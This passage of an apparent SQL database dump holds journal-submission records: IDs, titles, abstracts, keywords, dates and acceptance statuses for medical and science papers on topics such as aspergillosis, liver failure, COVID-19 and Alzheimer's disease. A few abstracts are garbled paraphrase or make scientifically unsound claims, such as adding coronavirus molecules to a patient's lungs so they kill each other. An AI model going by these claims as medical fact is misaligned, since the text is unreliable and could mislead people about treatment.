',338,NULL,'2021-03-21',NULL,'Submitted',2,NULL,'2021-05-18',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(7883,8733,277,0,'ipadm-21-7883','Aspergilosis invasiva subaguda en paciente con hipercortisolismo endógeno',NULL,2,0,'','La aspergilosis invasiva en pacientes con hipercortisolismo es una de las infecciones más graves en este grupo de pacientes. El exceso de esteroides endógenos predispone al hospedero a una disminución de la respuesta inmune innata y adaptativa favoreciendo la invasión tisular fúngica. Presentamos el caso de un hombre diagnosticado de hipercortisolismo dependiente de ACTH que presentó una infección crónica por hongos.\r\nPalabras claves: Aspergilosis pulmonar invasiva, Síndrome de Cushing, inmunosupresión','Invasive pulmonary aspergillosis, Cushing syndrome, immunosuppression',2707,NULL,'2021-03-22',NULL,'Submitted',2,NULL,'2021-04-24',NULL,1,1,'0','Accepted for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(7887,9102,277,0,'ipadm-21-7887','Insuficiencia hepática aguda: ¿qué hacer?',NULL,6,0,'','La falla hepática aguda es la pérdida súbita de la función hepática en un corto plazo en un paciente sin hepatopatía previa, que se acompaña de coagulopatía y encefalopatía. Es una enfermedad con un deterioro orgánico grave que progresa rápidamente. Existen múltiples causas, en países desarrollados el consumo de paracetamol y en subdesarrollados las hepatitis virales. El reconocimiento temprano y manejo en unidad de cuidado crítico es fundamental para dar terapia de soporte integral. La supervivencia ha aumentado debido a las mejoras en el tratamiento médico y al uso apropiado del trasplante de hígado de emergencia en pacientes seleccionados. ','Insuficiencia hepática aguda, hepatitis fulminante, encefalopatía, trasplante hepático, soporte hepático artificial',2707,NULL,'2021-03-23',NULL,'Submitted',2,NULL,'2021-05-11',NULL,1,1,'0','Accepted for publication',0,'','',NULL,0,0,0,NULL,0),(7888,9103,45,0,'iphsj-21-7888','PARAMEDIC MICROPIGMENTATION IN AREOLS AS A FACTOR IN THE IMPROVEMENT OF THE QUALITY OF LIFE OF MASTECTOMIZED WOMEN',NULL,14,0,'','Objective: To verify the influence of paramedical micropigmentation on areolas on the quality of life of mastectomized women with breast reconstruction. Method: The study was conducted with fifteen volunteers with a mean age of 51.87 ± 12.13 years, submitted to mastectomy in an average time of 12.9± 35 months, followed by breast reconstruction with a mean time of 9.6± 9.91 months and who underwent the treatment of areolar paramedical micropigmentation with an average time of 18.31± 10.45 months. In the micropigmentation of the areolas was using the needle of one and three tips, with pigments. Later, they were evaluated by analysis of photographic images, by the Breast Cancer Scale - FACT-B. In addition, the volunteers answered a questionnaire that corresponded to the quality of life after breast reconstruction - EORTC QLQ - BRECON23. Descriptive analysis and the ANOVA test followed by Tukey (p<0.05) were used.  Results: It was verified in the EORTC-BR23 questionnaire that the volunteers presented scores that indicated the side effects of treatment and symptoms at the place of withdrawal, low level of symptomatology or problems. However, for the scores satisfaction with the nipples and sexual function there was a low degree of satisfaction. Regarding the FACT-B questionnaire, in the additional concerns domain, an average value of 215.16 was observed, while the satisfaction of the volunteers was lower in the social/family well-being domains with significant mean values of 23.64, and functional well-being of 18.13 (p<0.05). Conclusion:   It is concluded that micropigmentation after breast reconstruction becomes acceptable with regard to the self-esteem of volunteers, allowing (re)inclusion in society for improvement of their self-esteem, self-image and thus promoting improvement in quality of life.','Mama. Breast Neoplasm. Mastectomy',643,NULL,'2021-03-23',NULL,'Submitted',2,NULL,'2021-04-12',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7897,9111,86,0,'ipaom-21-7897','Complications of a Heart Transplanted Patient With COVID-19 Infection',NULL,2,0,'','Our knowledge of coronavirus disease-2019 (COVID-19) and its cardiovascular implications is growing every day. The pandemic has raised the question of whether to continue offering heart transplantations due to concerns regarding the risk for exposure to the severe acute respiratory syndrome coronavirus 2 (SARS-CoV-2) during hospitalization and challenges in curbing the infection with high levels of immunosuppression. We present the case of a 47-year-old woman who presented with COVID-19 on immunosuppression therapy due to recent heart transplantation four months before admission. The patient’s condition worsened, and despite monitoring and treatment updates, she died on day 19 of admission. Although most immunocompromised persons effectively clear a SARS-CoV-2 infection, this case highlights the potential for ongoing and accelerated viral evolution associated with an immunocompromised state. Patients can manifest acute rejection in the months following transplantation surgery, which can ultimately lead to death.','COVID 19\r\nHeart transplant\r\nCardiology\r\nInternal Medicine\r\n',2890,NULL,'2021-03-23',NULL,'Submitted',2,NULL,'2021-04-15',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7903,9117,45,0,'iphsj-21-7903','Estimation and Comparison of Poverty Lines in different states of India by using Quality Adjusted Life Year (QALY)',NULL,14,0,'','Objective\r\nPoverty Line gives a snap-short about the nature of poverty. Our objective is to redefine poverty line as a cost of common utility value across a population. Based on this utility value, we estimate Quality Adjusted Life Year (QALY) for different states of India.\r\nMethods\r\nIn this paper, we observe trend analysis on poverty ratios across different states in different time periods. We analyse the change in head count ratio from 2004-05, 2009-10, 2011-12 across different states. Our cases are more concentrated on subdividing the states into two subgroups and then apply the model stated by Martin (2006). This leads to a new revised poverty model which serve as a framework for computation of QALY.\r\nResults\r\nOver the different time periods, the percentage of number of states are 10%, 36.67% , 86.67% of the total states having QALY value closer to 1in the time period 2004-05, 2009-10, 2011-12 respectively.\r\nConclusion\r\nThere is a huge variation in the QALY values in conjunction to the poverty estimates for different states. Few states whose poverty ratios are better over different time period has better QALY values i.e.  closer to 1. The other states which are in worse condition having lower poverty ratios, has indeed QALY values close to 0.\r\n\r\n','Keywords: Poverty ratio, utilities, stratification, survival needs, QALY.',685,NULL,'2021-03-23',NULL,'Submitted',2,NULL,'2021-04-27',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(7905,9118,86,0,'ipaom-21-7905','INSUFICIENCIA HEPÁTICA AGUDA:¿QUÉ HACER?',NULL,14,0,'','Acute liver failure is the severe short-term liver function impairment in a patient without previous liver disease, which is accompanied by coagulopathy and encephalopathy. It is a disease with a severe organ deterioration that progresses rapidly. There are multiple causes, in developed countries the consumption of paracetamol and in underdeveloped the viral hepatitis. Early recognition and management in a critical care unit is essential to provide comprehensive support therapy. Survival has increased due to improvements in medical treatment and the appropriate use of liver transplantation in selected patients.','Acute liver failure, fulminant hepatitis, encephalopathy, liver transplantation, extracorporeal liver support devices',2890,NULL,'2021-03-23',NULL,'Submitted',4,NULL,'2021-04-02',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(7911,8967,326,0,'IPJUS-21-7911','Advanced Techniques used in Pediatric Surgery',NULL,5,0,'','Pediatric surgery, a separate area of surgery it covers the age starting neonate to adolescence. This means that the pediatric surgeon must be responsive of the distinct conditions and growing stages of the patients, dependent on their age. It encloses all areas from thoracic, abdominal and tumour surgery to pediatric orthopaedics and pediatric urology. One attention of pediatric surgery is that malformation surgery. These diseases are commonly not restricted to a single organ system; this is the reason there is hardly an organ specialization in pediatric surgery, similar there is in adult surgery. In principle, pediatric surgery is based on the surgical techniques of adult surgery though specific peculiarities generally create a special procedure is required due to the young age. Current progress has been made in pediatric surgery in numerous areas. As developments in surgical technologies have arisen, our playing field has moved forward, frequently in quantum leaps.','Pediatric, Surgery, Tumor, Pediatric Surgery techniques',2505,NULL,'2021-03-24',NULL,'Submitted',2,NULL,'2021-03-26',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7924,9134,73,0,'ipjnn-21-7924','Intravascular lymphoma mimicking Acute Haemorrhagic Leucoencephalitis',NULL,2,0,'','Intravascular lymphoma and Acute Haemorrhagic Leucoencephalitis are rapidly progressive diseases with poor prognosis. Differentiated between CNS variant of IVL and AHLE can be challenging, as they both can be clinically identical. Our case is about 63 year old female, who presented with rapid onset of cognitive impairment. During her hospitalization, another rapid deterioration has occurred, and she became tetraplegic, with aphasia, and obtunded. Brain MRI showed many confluent lesions in the white matter, with. Most lesions appeared hemorrhagic.  After the MRI, a radiological and clinical differential diagnosis between intravascular lymphoma and Acute Haemorrhagic Leucoencephalitis was made. Rapid brain biopsy has revealed the diagnosis of IVL. She had good responsive to therapy, and regained most of her cognitive and motor functions','Intra-vascular lymphoma\r\nAcute Haemorrhagic Leucoencephalitis\r\n',4043,NULL,'2021-03-24',NULL,'Submitted',2,NULL,'2021-05-15',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(7926,9137,73,0,'ipjnn-21-7926','Principal Component Analysis Applied to Alzheimer’s Disease:  USA by State',NULL,17,0,'','In 1906 Alois Alzheimer described AD in the eponymous female Auguste D. [1, 2], and found abnormal deposits of amyloid protein plaques (Aβ) and fibrous protein tangles (neurofibrillary tau).  A 1939 review speculated on various causes of AD [3], noting the development of plaques near the site of previous trauma mentioning “intercurrent infection”, suggesting chronic infection is a component of AD.    More recently there are a number of reports noting the presence of various fungi in affected portions of all examined AD patient brains [4-8] which is analyzed in a review [9].  The most common widespread commensal fungus is Candida albicans which is in the same family as Saccharomyces cerevisiae yeast used in fermentation.  As the most likely entry of Candida into the brain is from nasopharyngeal and oral ecosystem, Porphyromonas gingivalis found growing together with Candida in oral biofilms, has been identified as a target for Alzheimer disease therapies [10].  This makes oral health epidemiology worthy of examination.  This report describes the analysis of the frequency of AD in the states of the USA versus various social and epidemiological factors by applying principal component analysis to remove high correlated confounding variables into uncorrelated components.  The purpose is to identify larger epidemiological factors associated with AD, that they can be observed in spite of many confounding factors in large population groups.','Alzheimer’s disease, principal component analysis, socio-economics, wine, dental care, beer, periodontitis, biofilms',330,NULL,'2021-03-24',NULL,'Submitted',2,NULL,'2021-05-31',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(7929,9139,85,0,'iphspr-21-7929','Short Communication on women mental health',NULL,17,0,'','Health is pivotal for the expansion, development, and productivity of a society and is significant for a contented and healthy life anywhere within the world. The planet Health Organisation definition of health includes physical, social, spiritual, and mental states and not merely the absence of disease or infirmity.','',4068,NULL,'2021-03-25',NULL,'Submitted',2,NULL,'2021-07-06',NULL,1,1,'1','                            ',0,'','',NULL,0,0,0,NULL,0),(7930,9123,73,0,'ipjnn-21-7930','Diagnostic conundrums in cerebellar cryptic arteriovenous malformations',NULL,2,0,'','Cryptic arteriovenous malformations (AVM) have increased risks of re-bleeding but sometimes undetectable on conventional neuroimaging modalities, thus delaying definitive treatment. Bleeding into the confined space of the posterior cranial fossa poses increased risks of mortality due to increasing intracranial pressure and early detection and surgical resolution is of utmost urgency.\r\nWe present a case of cerebellar cryptic AVM diagnosed using high-resolution cone beam Computerized Tomography angiography (CBCT-A) and three-dimensional rotational angiography (3-DRA), with a definitive diagnosis confirmed on histology. Surgery was performed without complications and the patient resumed normal functioning.','Cerebellar haemorrhage; high-resolution cone beam Computerized Tomography angiography; three-dimensional rotational angiography',326,NULL,'2021-03-25',NULL,'Submitted',2,NULL,'2021-05-15',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7931,9140,251,0,'ipacm-21-7931','THE CORONAVIRUS PROBLEM VIA A LINEAR TIME-VARIANT EQUATION',NULL,25,0,'','We develop the proposition of [1], and especially of [2], where a specific possibility to fight the coronavirus (CV) disease is proposed. The point of [2] is to insert into the lungs of an already infected human -- before starting the ventilation of his lungs -- additional CV molecules n*(t), assuming that these molecules and those already present in the lungs, n(t), can start to kill each other by their protein arrows.  This requires some preliminary treatment -- a special covering of the added molecules, for the molecules to be \"glued\" to each other in order to \"compete\". This not a simple biology problem which cannot be solved here. However, focusing at the equational line of the whole research, we find this situation mathematically interesting.  If the mentioned covering can be done, then we have -- because of the knowledge of the defined by us function n*(t), the term n*(t)N(t) in the dynamic balance equation for the total number N(t) of the CV molecules in the lung.  This term makes this equation not a nonlinear, but a linear time variant one. This equation is easily solved, and studying the obtained n(t) -- then appearing to be a decreasing time function -- we can predict the moment when artificial ventilation of the lung has to start.','',3944,NULL,'2021-03-25',NULL,'Submitted',2,NULL,'2021-04-29',NULL,1,1,'0','   ',0,'','',NULL,0,0,0,NULL,0),(7933,8405,639,0,'ipfs-21-7933','A Note on Ganges River Dolphin (Platanista gangetica)',NULL,5,0,'','The South Asian stream dolphin (Platanista gangetica) is a jeopardized freshwater or waterway dolphin found in the area of the Indian subcontinent. Platanista gangetica otherwise called susu.\r\nThe Ganges stream dolphin isn\'t just the solitary individual from its class, yet of its family, Plantanistidae, addressing an antiquated ancestry in the request Cetartiodactyla.\r\nThe Ganges waterway dolphin lives in one of the world\'s most thickly populated regions. It is undermined essentially by the damming of waterways for water system and power age, which debases the environment, and detaches the populaces; forestalling occasional movement.','Platanista gangetica; Ganges; forestalling',1770,NULL,'2021-03-25',NULL,'Submitted',2,NULL,'2021-03-31',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7943,9149,91,0,'ijddr-21-7943','Therapeutic Drug interactions of COVID-19',NULL,5,0,'','The COVID-19 vaccines being distributed in the U.S. have been discovered to be both viable and safe for a  many people. In any case, everybody\'s circumstance is unique. Individuals actually have doubt  regarding what the antibody could mean for them. \r\nDespite the fact that it is uncommon, a few antibodies utilized for different sicknesses can cooperate with different meds you take. Here and there antibodies can make prescriptions turn out distinctively for a brief timeframe. Also, taking certain meds can make antibodies less viable.','Covid-19, immune system, Acetaminophen',4772,NULL,'2021-03-26',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7944,9149,91,0,'ijddr-21-7944','PHARMACOLOGICAL AND SAFETY ASPECTS OF MODERNA-A COVID-19 VACCINE',NULL,5,0,'','Immunizations save a great many lives every year. Antibodies work via preparing constantly the body\'s normal safeguards – the resistant framework – to perceive and fend off the infections and microscopic organisms they target. After immunization, if the body is subsequently presented to those infection causing germs, the body is quickly prepared to obliterate them, forestalling disease.','Covid-19, immune system, Acetaminophen, Coronavirus Vaccine Moderna',4774,NULL,'2021-03-26',NULL,'Submitted',2,NULL,'2021-04-01',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(7946,9153,45,0,'iphsj-21-7946','A real-life approach for evaluation of rapid Ag testing in SARS-CoV2 infection',NULL,14,0,'','Biological diagnosis of respiratory infections by SARS-CoV2 uses molecular tools targeting viral genes by RT-PCR analysis or isothermal gene amplification. These IVD assays need technical facilities and often take few hours. To be used in non-laboratory environment, some rapid test devices have been designed for SARS-CoV2 Ag detection by immunochromatographic assay. \r\nThe aim of this work was to explore reliability and performance of 4 Ag rapid test device on random clinical specimens routinely collected for SARS-CoV2 diagnosis.','Respiratory infections; SARS-CoV2; Ag rapid test',643,NULL,'2021-03-26',NULL,'Submitted',2,NULL,'2021-04-12',NULL,1,1,'0','Accepted with minor revision',0,NULL,NULL,NULL,0,0,0,NULL,0),(7969,9170,251,0,'ipacm-21-7969','Commentary on therapeutic plasma exchange to treat COVID-19',NULL,3,0,'','Severe acute respiratory syndrome coronavirus 2, the causative agent of coronavirus disease 2019, is capable of causing severe respiratory distress syndrome, cytokine release syndrome, multi-organ failure, and has been associated with many neurologic complications. No treatment has proven to be very effective. Therapeutic plasma exchange has been proposed and used. To date, randomized controlled trials have not been completed to show therapeutic benefit. ','',3946,NULL,'2021-03-26',NULL,'Submitted',2,NULL,'2021-04-14',NULL,1,1,'1','  ',0,'','',NULL,0,0,0,NULL,0),(7978,9180,667,0,'iptb-21-7978','XIAP-AS1 is a new Long non coding RNA',NULL,15,0,'','Dysregulation of long non-coding RNAs (lncRNAs) is reported to be associated with the development and progression of various cancers. XIAP-AS1 is a novel lncRNA. It has been shown that XIAP-AS1 is transcribed from the first intron of the complementary strand of the XIAP gene. XIAP-AS1 is located primarily in the nucleus. lncRNA XIAP-AS1 can regulate apoptosis in gastric cancer cells and might serve as a potential oncogene for colon cancer.  Sp1 is a responsible transcription factor for transcription of the XIAP gene.  XIAP-AS1 RNA interacts with Sp1 and thereby participates in XIAP transcription. XIAP-AS1 knockdown decreases the binding of Sp1 to the promoter region of XIAP. In gastric tumor cells, XIAP-AS1 knockdown promotes tumor necrosis factor (TNF)-related apoptosis-inducing ligand (TRAIL)-induced apoptosis.  XIAP-AS1 knockdown blockes cell invasion of colon cancer cells by regulating the expression of EMT markers, such as E-cadherin, ZO-1, vimentin, and N-cadherin. Moreover, XIAP-AS1 knockdown significantly reduces STAT3 phosphorylation. XIAP-AS1 interacts with Sp1 and is involved in XIAP transcription. In gastric cancer cells, XIAP-AS1 is a potential target for TRAIL-induced apoptosis. XIAP-AS1 is significantly increased in CRC tissues and moreover its expression showes a positive correlation with TNM stage and cumulative survival rate of CRC. In this review, we focus on the importance of new lncRNA XIAP-AS1 in tumorigenesis, as it functions in apoptosis.','Apoptosis, Cancer, Sp1, lncRNA XIAP-AS1, XIAP',4686,NULL,'2021-03-27',NULL,'Submitted',4,NULL,'2021-06-14',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(7979,6667,45,0,'iphsj-21-7979','Investigating the effect of appropriate personal protective equipment on the stress level of care workers in the covid19 epidemic.IRAN',NULL,17,1,'COVID19','IMPORTANCE  Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus.\r\n\r\nOBJECTIVE In this study we aimed to evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic.\r\n\r\nDESIGN, SETTINGS, AND PARTICIPANTS This study is a cross-sectional, hospital-based survey conducted via a region-stratified, 2-stage cluster sampling from Sep 15, 2020, to Dec 10, 2020, The purpose of this research is applied research and in terms of survey method. The main tool used to collect information in this study is a questionnaire, which was also used to study the evidence to obtain human resource information.\r\nCensus method was used to determine the number of participants in the study. In this study, the researchers conducted their research on all people. They gave the questionnaire to all front-line care worker (nurse, assistant nurse, secretary) second-line care worker(Services, security, chefs and hostesses, facilities) of Jam Hospital, which was 537 people, and 342 questionnaires were filled in by the staff.\r\nMAIN OUTCOMES AND MEASURESWe focused on symptoms of Job burnout and job stress in Jam Hospital staff.In this method, demographic data such as job, place of work, gender, age, level of education and work shifts were asked and two questionnaires were used. 1-COPSOQ Persian Questionnaire2- Stress assess.\r\nRESULTS In the study, 537 health care workers were asked to participate, 342 respondents (63.6%) completed the survey (242[70.7%](, front-line and )100 [29.3%]( socend-line. The occupational data of nonrespondents were similar to those of respondents (Table 1 in the Supplement). Most participants were women (207[60.2%]), were aged 20 to 40 years (260 [76%]), had an educational level postgraduate (199 [58.1,were work night (193 [56.2%]), Of the 342 responding participants, 242 (70.7%) were front-line health care workers directly engaged in diagnosing, treating, or caring for patients with or suspected to have COVID-19 , and 100(29.3%) were socend-line. A considerable proportion of front-line participants had symptoms of occupational stress(P=0.03) & Job burnout)P=0.08). Job stress and burnout were higher in front-line staff who were in direct contact with patients with COVID 19 than in staff who were not in direct contact with the patient(P=0.02). There was no significant relationship between gender (P=0.5), education(P=0.3), job shift (P=0.06) and job stress and burnout.','STRESS,COVI19,PPE,',643,NULL,'2021-03-27',NULL,'Submitted',2,NULL,'2021-05-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7980,6667,45,0,'iphsj-21-7980','Evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic.',NULL,14,1,'COVID19','IMPORTANCE  Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus.\r\n\r\nOBJECTIVE In this study we aimed to evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic.\r\n\r\nDESIGN, SETTINGS, AND PARTICIPANTS This study is a cross-sectional, hospital-based survey conducted via a region-stratified, 2-stage cluster sampling from Sep 15, 2020, to Dec 10, 2020, The purpose of this research is applied research and in terms of survey method. The main tool used to collect information in this study is a questionnaire, which was also used to study the evidence to obtain human resource information.\r\nCensus method was used to determine the number of participants in the study. In this study, the researchers conducted their research on all people. They gave the questionnaire to all front-line care worker (nurse, assistant nurse, secretary) second-line care worker(Services, security, chefs and hostesses, facilities) of Jam Hospital, which was 537 people, and 342 questionnaires were filled in by the staff.\r\nMAIN OUTCOMES AND MEASURESWe focused on symptoms of Job burnout and job stress in Jam Hospital staff.In this method, demographic data such as job, place of work, gender, age, level of education and work shifts were asked and two questionnaires were used. 1-COPSOQ Persian Questionnaire2- Stress assess.\r\nRESULTS In the study, 537 health care workers were asked to participate, 342 respondents (63.6%) completed the survey (242[70.7%](, front-line and )100 [29.3%]( socend-line. The occupational data of nonrespondents were similar to those of respondents (Table 1 in the Supplement). Most participants were women (207[60.2%]), were aged 20 to 40 years (260 [76%]), had an educational level postgraduate (199 [58.1,were work night (193 [56.2%]), Of the 342 responding participants, 242 (70.7%) were front-line health care workers directly engaged in diagnosing, treating, or caring for patients with or suspected to have COVID-19 , and 100(29.3%) were socend-line. A considerable proportion of front-line participants had symptoms of occupational stress(P=0.03) & Job burnout)P=0.08). Job stress and burnout were higher in front-line staff who were in direct contact with patients with COVID 19 than in staff who were not in direct contact with the patient(P=0.02).','burnout, Job stress, COVID 19',4076,NULL,'2021-03-27',NULL,'Submitted',2,NULL,'2021-05-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7990,9188,45,0,'iphsj-21-7990','Sexual Dysfunction and its predictors among m ale patients with epilepsy attending public hospitals, east Ethiopia',NULL,14,0,'','Introduction: Sexual dysfunction is common Comorbid conditions in patients with epilepsy; however, its causes are complex and multifactorial. Nearly fivefold increased risk compared to the general population. However, there is limited study that examined prevalence and determinants of sexual dysfunction among male epileptic patients.\r\nObjective: To determine prevalence of Sexual Dysfunction and its predictors among male epileptic patient attending public hospitals, East Ethiopia.\r\nMethods: An institutional-based cross-sectional study was conducted between May 15 - June 15, 2019 among 581 participants, who were selected using a systematic random sampling technique. A sexual dysfunction was measured by the Change in Sexual Functioning Questionnaires (CSFQ-M-C) Clinical Version. The association between outcome and independent variables was identified by bi-variable and multivariate logistic regression. Finally, variables with P-value less than 0.05 were considered statistically significant at 95% CI.\r\nResults: The prevalence of global sexual dysfunction was 59.4 % with 95% CI - 57.6, 64.9.  Factors like, age ≥ 45 years (AOR - 5.43; 95% CI - 1.22, 7.18), uncontrolled seizure (AOR - 3.11; 95% CI-1.8, 5.29), current khat use (AOR - 3.66, 95% CI - 2.21, 6.04) and psychological distress (AOR - 2.01; 95% CI - 1.19, 3.38) were significant predictors.\r\nConclusion: The question of sexual activity should be raised by health-care professionals as a routine part of the management of patients with epilepsy and needs to refer to psychiatry clinic accordingly.\r\n\r\n','Keywords: Sexual dysfunction, Male, Epilepsy, Ethiopia',689,NULL,'2021-03-28',NULL,'Submitted',2,NULL,'2021-06-08',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(7992,7130,45,0,'iphsj-21-7992','A morphological study of anatomical variations in 96 circles of Willis: an autopsic evaluation and literature review',NULL,14,0,'','Aim and background: Because circle of Willis provides the best collateral source of blood flow in arterial occlusive disorders, identifying anatomical variants that could be present at this level is especially essential in planning surgery for cerebral aneurysms. \r\nGiven the fact that the frequency of these anatomical variations of circle of Willis has not yet been sufficiently evaluated in the Romanian population until presently, we have conducted a research in a regional health unit, where there are admitted patients with neurological and neurosurgical diseases living in the North-Eastern region of Romania, in order to identify morphological features  of the constituent vessels of fresh circles of Willis at the moment of the autopsy of the deceased patients in the Emergency Clinical Hospital „Prof. dr. N. Oblu” Ia?i. There has been noted the presence or absence, variations of shape, position or trajectory of each arterial segment. In the end, our results were compared with those from literature in order to identify some particular pattern of this anastomotic structure in the population of the North-Eastern region of Romania.\r\nMaterial and methods: The present research is a descriptive in-hospital observational study on the morphology of the circles of Willis of 96 patients who died of various medical causes in the Emergency Clinical Hospital “Prof. dr. N. Oblu” Ia?i, in a period of 30 months, to whom an anatomo-clinical autopsy was performed in order to determine the cause of death.\r\nResults: From the total of 96 available human brains, 28 cases (29.17%) were classified as ”atypical” as they expressed anatomical variants of the constituent vessels. Among the 28 deceased patients with atypical CW, the M: F ratio was 1.15 and the average age of the entire group was 61.78 years. \r\nFrom the 28 atypical circles of Willis, 19 of them (67.86%) presented multiple anatomical variants, and only 9 cases (32.14%) had a single anatomical variant. Among multiple variants of the vessels of the circle of Willis, we identified the association of two (32.14%), three (25%), four (7.14%), or five (3.57%) anatomical variants of those seven constituent arteries. Eight types of variations of the constituent arteries of the circle of Willis were identified: absence of a vessel, partial fetal ACP, hypoplasia, duplication, fenestration, azygos, common trunk with another vessel at the origin, longer length with sinuous trajectory.\r\nConclusion: Our results showed intermediate values between those reported in various studies performed on circles of Willis obtained at autopsies. These differences can be interpreted as possible peculiarities of the population in North-Eastern region of Romania. Unlike all other studies with which we compared the results obtained, in our research two thirds of cases with variations presented multiple anatomical variants, including five simultaneous variants.','Circle of Willis, anatomical variants, absence, hipoplasia, duplication, fenestration',4076,NULL,'2021-03-28',NULL,'Submitted',2,NULL,'2021-04-20',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(7993,8967,326,0,'IPJUS-21-7993','Orthognathic Surgery',NULL,5,0,'','Orthognathic surgery is a special work in facial surgery, a patient\'s existence and occlusal function can be established significantly, creating an impact on the patient\'s sense of self and well-being. Effective outcomes in modern orthognathic surgery depend on close collaboration among the surgeon and the orthodontist diagonally all stages of treatment, as of preoperative planning to confirmation of occlusion. Practical computer planning supports a more precise analysis of dentofacial deformity and preoperative planning. It is similarly a precious aid in provided that comprehensive patient education. The indicators for orthognathic surgery include: Chronic jaw pain or jaw joint pain (TMJ); Breathing difficulties while sleeping (obstructive sleep apnea); Severe headaches associated with jaw pain; Chronic mouth breathing and dry mouth; Difficulties biting, chewing, or swallowing; Certain birth defects; Facial injuries or irregular facial appearance; A lower chin and jaw that recedes; Not being able to close your lips without straining them.','Orthognathic surgery, Jaw pain, Jaw, Facial, Mouth',2505,NULL,'2021-03-29',NULL,'Submitted',2,NULL,'2021-03-30',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8000,9194,73,0,NULL,'Types of Biopsy',NULL,5,0,'','A biopsy is a process that involves removing a sample of tissue or cells from your body to be examined in a laboratory. You can have a biopsy to decide whether you have cancer or another disease if you have some signs and symptoms or if your doctor has found an area of concern.','Biopsy',326,NULL,'2021-03-29',NULL,'Submitted',4,NULL,'2021-03-29',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8001,9194,73,0,NULL,'Non Imaging Biomarkers',NULL,5,0,'','Biomarkers and response criteria are used in imaging-based clinical trials to determine the tumor\'s response to therapy. Although both words are often used interchangeably, the distinction between the two is crucial in a clinical trial involving imaging. Imaging biomarkers are often the key contributors to the endpoints of clinical trials, but they are not the same.','Biomarkers',326,NULL,'2021-03-29',NULL,'Submitted',4,NULL,'2021-03-29',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8008,8967,326,0,'IPJUS-21-8008','Anterior Scoliosis Corrective Surgery',NULL,5,0,'','Anterior Scoliosis Corrective Surgery technique is a slightly invasive technique that uses certain implants such as screws positioned into the vertebral body. This technique is also known as vertebral body tethering (VBT). Since it is a newly developed technique, there is not a lot of proof or long term studies to remark on the safety and efficiency of this technique in the long run. Vertebral Body Tethering (VBT) uses an implant method that is in recent times agreed by the U.S. Food and Drug Administration (FDA) for marketing. Some difficulties related with this technique are an anaesthetic problem (such as allergic reaction or airway problem), heart, injury to the great vessels, lungs, uncontrolled bleeding, surgical site infection, postoperative pneumothorax, screw pullout or ‘symptomatic migration’ in the surgeon’s language, chain breakage, failure of VBT to control growth and over-correction of spinal distortion.','Scoliosis, Implants, Vertebral, Surgery, VBT',2505,NULL,'2021-03-29',NULL,'Submitted',2,NULL,'2021-03-30',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8012,9200,45,0,'iphsj-21-8012','Covid-19 Messages, Mental Health and Foreign Aid',NULL,14,0,'','The dissemination of public information during pandemics leads to fear-mongering and misinformation. In the context of health communication, this paper suggests that health communication ought to be as clear as possible and easily interpretable. This can be achieved by broadcasting public service announcements through radio, television, and billboard platforms in local dialects and official languages. Furthermore, clear and effective messaging would empower people with the necessary tools to prevent infectious diseases and take control of their well-being. Moreover, this paper also explores the mental health burden that people have during the pandemic and the role that foreign aid can play in alleviating human suffering. In Africa, very little is known or researched when it comes to mental health which becomes a great issue of concern during the COVID-19 pandemic. As people experience different forms of anxiety and depression resulting from fear, uncertainty, and loneliness, there are very limited resources for seeking help. When compared to the global rate, the number of Africans who receive care for their mental health is extremely low due to cultural norms and the limited number of mental health facilities and professionals. Nonetheless, the ability to achieve desirable health outcomes can significantly be boosted by foreign aid.  \r\nForeign aid has proven to be a tool for alleviating human suffering during pandemics. Most developing countries rely on foreign aid in the wake of a pandemic either through monetary (bilateral/multilateral) assistance or relief items. In addition to providing emergency relief measures in highly informal sectors, foreign aid can be used as a tool to channel liquidity to small and medium-sized enterprises (SMEs), households, and informal workers. This paper takes a systems approach in highlighting the ways in which some of the aforementioned factors can be efficiently leveraged to curb the rate of disease spread, which in turn alleviates the burden of human suffering.\r\n','',4076,NULL,'2021-03-29',NULL,'Submitted',2,NULL,'2021-04-16',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(8014,9202,277,0,'ipadm-21-8014','Síndrome de McKittrick-Wheelock Como Causa de Hipokalemia Refractaria y Lesión Renal Aguda. Reporte de Caso.+',NULL,2,0,'','El Síndrome de McKittrick-Wheelock es una entidad infrecuente caracterizada por diarrea de tipo secretora con alteraciones hidroelectroliticas asociado a la presencia de lesiones tumorales en colon, especialmente de tipo adenoma velloso en recto. Se presenta con estados de deshidratación severa y trastornos hidroelectroliticos prinicipalmente hipokalemia e hiponatremia concomitantemente con acidosis metabolica. El principal mecanismo implicado es la sopreproducción de prostaglandina E2 por las celulas tumorales. La perdida de volumen intravascular 